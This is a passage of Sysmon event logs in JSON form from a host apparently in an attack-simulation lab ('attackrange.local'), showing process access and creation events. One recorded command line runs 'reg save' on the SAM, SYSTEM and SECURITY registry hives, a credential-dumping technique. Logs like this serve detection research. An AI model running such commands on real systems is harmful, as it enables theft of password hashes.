C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A54A0800}\r\nTargetProcessId: 2792\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A54A0800}","TargetProcessId":"2792","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.067\r\nProcessGuid: {90617006-4170-5F2D-0000-0010874B0800}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\reg.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Registry Console Tool\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: reg.exe\r\nCommandLine: reg save HKLM\\system C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\system \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352\r\nParentProcessGuid: {90617006-4170-5F2D-0000-0010DC490800}\r\nParentProcessId: 4788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.067","ProcessGuid":"{90617006-4170-5F2D-0000-0010874B0800}","Image":"C:\\Windows\\System32\\reg.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Registry Console Tool","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"reg.exe","CommandLine":"reg save HKLM\\system C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\system ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352","ParentProcessGuid":"{90617006-4170-5F2D-0000-0010DC490800}","ParentProcessId":"4788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nSourceProcessId: 4788\r\nSourceThreadId: 4084\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+8564|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","SourceProcessId":"4788","SourceThreadId":"4084","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+8564|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 